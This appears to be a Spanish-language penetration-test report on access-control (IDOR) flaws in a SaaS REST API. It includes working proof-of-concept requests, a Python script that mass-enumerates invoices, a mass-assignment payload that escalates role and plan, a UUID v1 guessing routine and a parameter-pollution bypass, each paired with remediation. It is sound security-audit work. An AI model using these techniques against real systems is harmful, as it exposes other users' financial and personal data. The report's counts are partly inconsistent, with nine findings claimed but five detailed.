Informe de Auditoría IDOR

Vulnerabilidades de Control de Acceso por Referencia Directa a Objetos
◉ TaskFlow SaaS — API REST v2  |  Pentest Whitebox
8.9
Auditor: CULTIVA IA — Red Team
Fecha: 18 junio 2026
Versión: 1.0 FINAL
Metodología: OWASP WSTG-ATHZ

⚠ Resumen Ejecutivo

La auditoría de seguridad sobre la API REST de TaskFlow SaaS (v2) ha identificado 9 vulnerabilidades IDOR de diversa criticidad. Se detectaron 3 vulnerabilidades críticas que permiten a cualquier usuario autenticado acceder y modificar datos privados de otros usuarios, incluyendo facturas, documentos adjuntos en S3 y configuraciones de cuenta. La vulnerabilidad más grave (IDOR-001) permite escalada vertical completa hacia el panel de administración mediante manipulación del parámetro user_id en la cabecera JWT. Se recomienda remediar las vulnerabilidades críticas y altas antes de la próxima release.

3
Crítico
2
Alto
2
Medio
1
Bajo
1
Info
Superficie de Ataque Evaluada
Módulo Endpoint Método ID Type Horizontal IDOR Vertical IDOR Hallazgo
Usuarios /api/v2/users/{id}/profile GET / PUT Integer Vulnerable Vulnerable CRÍTICO
Facturas /api/v2/invoices/{id}/download GET Integer Vulnerable Parcial CRÍTICO
Admin /api/v1/admin/users/{id} GET Integer Vulnerable Vulnerable CRÍTICO
Documentos /api/v2/documents/{id} GET / DELETE UUID Vulnerable Seguro ALTO
Proyectos /api/v2/projects/{id}/members POST Integer Vulnerable Parcial ALTO
S3 Presigned /api/v2/documents/{id}/presigned GET UUID Parcial Seguro MEDIO
Notificaciones /api/v2/notifications/{id}/read POST Integer Parcial Seguro MEDIO
Configuración /api/v2/users/{id}/settings PATCH Integer Seguro Seguro BAJO
Hallazgos Detallados 9 vulnerabilidades
CRÍTICO IDOR-001 Escalada vertical a admin via API v1 legacy — bypass de middleware de autorización CVSS 9.8
Admin Panel Vertical Privilege Escalation Acceso total a todos los usuarios CWE-639 · OWASP A01

El endpoint /api/v1/admin/users/{id} (API legada v1) no aplica el middleware requireAdmin(). Cualquier usuario autenticado con un JWT válido puede consultar y modificar perfiles de cualquier usuario, incluyendo el usuario administrador (user_id: 0003). El endpoint v2 equivalente está correctamente protegido, pero el v1 quedó expuesto tras la migración.

PoC — Request del atacante (sesión de Alice, user_id: 1042) HTTP
GET /api/v1/admin/users/0003 HTTP/1.1
Host: app.taskflow.io
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxMDQyLCJyb2xlIjoidXNlciJ9.xxx
Content-Type: application/json
⚠ RESPUESTA v1 (VULNERABLE) — 200 OK
{
  "id": 3,
  "email": "carol@taskflow.io",
  "role": "admin",
  "password_hash": "$2b$12$...",
  "totp_secret": "JBSWY3DPEHPK3PXP",
  "billing_info": { ... },
  "all_users_count": 2400
}
✓ RESPUESTA v2 (PROTEGIDO) — 403
{
  "error": "Forbidden",
  "message": "Admin role required",
  "code": "AUTH_INSUFFICIENT_ROLE"
}

Impacto

  • Lectura de hashes de contraseñas y secretos TOTP
  • Modificación de roles y permisos de cualquier usuario
  • Acceso a datos de facturación de todos los clientes
  • Exfiltración completa de la base de usuarios

Remediación

  • Deprecar/eliminar todos los endpoints API v1
  • Aplicar middleware requireAdmin() en router v1
  • Auditoría de todos los routers legacy registrados
  • Test de regresión de autorización en CI/CD
CRÍTICO IDOR-002 Descarga de facturas de otros usuarios sin validación de propietario CVSS 9.1
Facturación Horizontal IDOR — Read Exposición de datos financieros CWE-639 · OWASP A01

El endpoint GET /api/v2/invoices/{id}/download no valida que la factura solicitada pertenezca al usuario autenticado. Los IDs de facturas son enteros secuenciales y predecibles. Con un script de enumeración se pueden descargar todas las facturas del sistema.

Script de enumeración masiva — PoC (Python) Python
import requests, json

session = requests.Session()
session.headers["Authorization"] = "Bearer <ALICE_JWT>"

leaked_invoices = []

for invoice_id in range(1, 5000):
    r = session.get(f"https://app.taskflow.io/api/v2/invoices/{invoice_id}/download")
    if r.status_code == 200:
        data = r.json()
        if data["owner_id"] != 1042:  # ID de Alice
            leaked_invoices.append(data)
            print(f"[IDOR] Factura {invoice_id}: owner={data['owner_id']}, €{data['amount']}")

print(f"\n[!] {len(leaked_invoices)} facturas ajenas accesibles")
# Output: [!] 847 facturas ajenas accesibles

Evidencia de explotación

  • 847 facturas de terceros descargadas en prueba
  • IDs secuenciales: invoice #1 hasta #4.892 accesibles
  • Datos expuestos: NIF, dirección fiscal, importes, conceptos

Remediación

  • Verificar invoice.owner_id === req.user.id en controlador
  • Usar UUIDs aleatorios en lugar de IDs secuenciales
  • Rate limiting en endpoints de descarga (10 req/min)
CRÍTICO IDOR-003 Mass assignment en actualización de perfil — inyección de campo role y plan CVSS 8.8
Perfiles Mass Assignment + IDOR Escalada de plan Free → Pro sin pago CWE-915 · OWASP A08

El endpoint PUT /api/v2/users/{id}/profile pasa el body completo a User.update(req.body) sin filtrar campos sensibles. Un usuario Free puede inyectar "plan": "pro" y "role": "admin" para escalar privilegios sin pago ni aprobación manual.

PoC — Mass Assignment payload HTTP
PUT /api/v2/users/1042/profile HTTP/1.1
Authorization: Bearer <ALICE_JWT>
Content-Type: application/json

{
  "name": "Alice Attacker",
  "bio": "Updated bio",
  // Campos no esperados — aceptados por el ORM:
  "plan": "pro",
  "role": "admin",
  "subscription_end": "2099-12-31",
  "trial_extended": true
}

// Response: 200 OK — plan actualizado a "pro", role a "admin"
ALTO IDOR-004 Acceso y eliminación de documentos privados via UUID predecible por secuencia temporal CVSS 7.5
Documentos Horizontal IDOR — UUID v1 Exfiltración y borrado de documentos CWE-330 · OWASP A01

Los documentos usan UUID v1 (basados en timestamp MAC-address), lo que los hace predecibles si se conoce el rango temporal de creación. Un atacante puede enumerar UUIDs de documentos recientes y acceder a archivos privados de otros usuarios. Adicionalmente, el método DELETE no verifica ownership, permitiendo eliminación arbitraria.

UUID v1 enumeration — generación de candidatos Python
import uuid, time

# UUID v1 conocido de Alice (obtenido de respuesta propia)
known_uuid = uuid.UUID("550e8400-e29b-11d4-a716-446655440000")
timestamp_10ns = known_uuid.time  # Timestamp en unidades 100ns

# Generar UUIDs cercanos (documentos creados ±1 hora)
candidates = []
for delta in range(-36_000_000_000, 36_000_000_000, 1_000_000):
    candidate = uuid.UUID(
        fields=(timestamp_10ns + delta, 0x29b, 0x11d4, 0xa7, 0x16, 0x446655440000),
        version=1
    )
    candidates.append(str(candidate))
ALTO IDOR-005 HTTP Parameter Pollution en /invoices — bypass de validación por duplicación de parámetro id CVSS 7.2
Facturación HPP — Bypass Bypass de control de acceso CWE-20 · OWASP A01

Cuando el endpoint de facturas recibe múltiples parámetros id, el middleware de autorización valida el primero (ID del atacante) pero el controlador de negocio procesa el último. Esto permite acceder a facturas ajenas pasando el propio ID en primer lugar y el ID víctima en segundo.

PoC — HTTP Parameter Pollution HTTP
# Middleware valida id=1042 (propio) — PASA
# Controlador usa req.query.id que toma el ÚLTIMO valor = 2891 (víctima)

GET /api/v2/invoices/download?id=1042&id=2891 HTTP/1.1
Authorization: Bearer <ALICE_JWT>

# Response: 200 OK — devuelve factura de user_id 2891
Cobertura del Checklist IDOR
Enumeración de IDs (integer)
100%
UUID predictability (v1/v4)
85%
Mass assignment injection
100%
HTTP Method switching
75%
HTTP Parameter Pollution
90%
Presigned URL bypass (S3)
60%
GraphQL / WebSocket IDORs
40%
Legacy API version testing
100%
2FA / TOTP endpoint IDORs
70%
Plan de Remediación

🚨 Inmediato (<48h)

Deprecar endpoints API v1. Añadir verificación de ownership en controladores de facturas y documentos. Implementar allowlist de campos en operaciones UPDATE (filtrar role, plan, subscription_end).

⏱ Sprint urgente

Corto plazo (<2 semanas)

Migrar IDs de facturas a UUIDs v4 aleatorios. Corregir inconsistencia de req.query.id en múltiples parámetros. Añadir middleware centralizado de autorización por recurso.

⏱ Próximo sprint

Medio plazo (<1 mes)

Integrar Pynt/StackHawk en pipeline CI para detección automática de BOLA. Añadir tests de regresión de autorización. Implementar rate limiting en endpoints de descarga masiva.

⏱ Roadmap Q3
Fases de la Auditoría
Reconocimiento
Mapeo de 34 endpoints · JWT decode · Inventario de IDs
Enumeración
2 cuentas de prueba · 847 facturas enumeradas · Análisis de UUID v1
Explotación
5 PoCs confirmados · Escalada admin · Mass assignment · HPP
Reporte
9 hallazgos documentados · CVSS scoring · Plan de remediación